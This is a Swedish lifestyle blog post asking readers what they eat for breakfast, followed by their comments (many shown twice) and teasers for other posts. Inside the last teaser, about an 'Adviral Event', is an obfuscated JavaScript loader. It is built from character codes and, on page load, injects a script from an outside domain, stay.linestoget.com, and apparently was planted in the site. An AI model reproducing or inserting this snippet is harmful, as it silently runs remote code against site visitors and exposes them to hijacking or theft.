Vad äter du till frukost?

93E580AD-D3C3-4618-9E4C-ED8DD5F0084FGodmorgon!  

Nu måste jag fråga dig….

-Vad äter du till frukost? Hur kan en vanlig frukost se ut för dig?

 Berätta gärna🙏🏻

/My Martens 

40 Komentarer

  1. Kaffe och Banan. Jag önskar dig My och alla läsare en fin dag med massor av kärlek! Du vet väl om att du är värdefull! ❤️❤️ kram

  2. Jag äter havregrynsgröt med grovrivet äpple, ägg, danskt rågbröd en skiva och en mugg grönt te. Sedan står man sig stadigt…

  3. Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.

  4. Gröt, en smörgås, grönt te. Frukost är dagens bästa måltid tycker jag. Älskar hotellfrukostar där det är en massa gott, frukter m.m
    Ha en fin dag ☀️

  5. Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
    Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.

  6. Kaffe och Banan. Jag önskar dig My och alla läsare en fin dag med massor av kärlek! Du vet väl om att du är värdefull! ❤️❤️ kram

  7. Jag äter havregrynsgröt med grovrivet äpple, ägg, danskt rågbröd en skiva och en mugg grönt te. Sedan står man sig stadigt…

  8. Havregrynsgröt med blåbär på äter jag varje morgon.Känner att jag står mig bra på det och går inte och småäter hela förmiddagen som man annars kan göra.

  9. Gröt, en smörgås, grönt te. Frukost är dagens bästa måltid tycker jag. Älskar hotellfrukostar där det är en massa gott, frukter m.m
    Ha en fin dag ☀️

  10. Smoothie som består av
    kvarg, lättmjölk, halv banan, blåbär, linfröolja
    ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
    men nästan alltid kvar och lättmjölk

  11. Naturell yoghurt, osötade havreringar, linfrö, apelsinjuice samt te.
    Smörgås (proteinbröd) med ost tar jag med till jobbet och äter till förmiddagskaffet.

  12. Smoothie som består av
    kvarg, lättmjölk, halv banan, blåbär, linfröolja
    ungefär så varje dag fast jag varierar med frysta bär och oljan bara ibland
    men nästan alltid kvar och lättmjölk

  13. Varierar mellan en Celsius eller en Nocco ?
    Jag kan inte dricka kaffe tyvärr!
    Äter lunch vid 10.30 pga mitt yrke och då blur det oftast lunch.
    Men på helgen äter jag gärna frallor, smoothie eller gröt!

  14. Varierar mellan en Celsius eller en Nocco 🙈

    Jag kan inte dricka kaffe tyvärr!

    Äter lunch vid 10.30 pga mitt yrke och då blur det oftast lunch.

    Men på helgen äter jag gärna frallor, smoothie eller gröt!

  15. Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
    Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.

  16. Jag äter ofta likadan frukost i långa perioder. Just nu är det mild yoghurt med egen müsli av havregryn, solrosfrön, pumpafrön och hela linfrön. Dunkar på en massa kanel och har ibland en sked äppelmos ovanpå. Om jag ska träna på förmiddagen kan det hända att jag tar en banan eller ett ägg till 10-fikat.
    Tidigare åt jag en lång period bananpannkaka med hallon. Snöar även in på gröt och smoothie då och då. Frukosten är jätteviktig för mig. Om jag inte äter frukost så blir jag trött, skakig och på dåligt humör efter en stund.

  17. Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!
    Den består av:
    – 2 havreknäcke … med …
    – Bregott EKO
    – Kalles Kaviar, mild
    – Billingeost, två skivor
    – Ca 1,5 dl Yoggi Dröm Vanilj
    – START, naturella flingor
    – En kopp Lipton Yellow, svart té med honung.
    That´s it!
    Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥

  18. Hej! Jag har ätit likadan frukost i många herrans år, tröttnar aldrig!

    Den består av:
    – 2 havreknäcke … med …
    – Bregott EKO
    – Kalles Kaviar, mild
    – Billingeost, två skivor
    – Ca 1,5 dl Yoggi Dröm Vanilj
    – START, naturella flingor
    – En kopp Lipton Yellow, svart té med honung.

    That´s it!
    Varje dag så långt jag kan minnas. Håller mig mätt länge och mår toppen! ♥

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/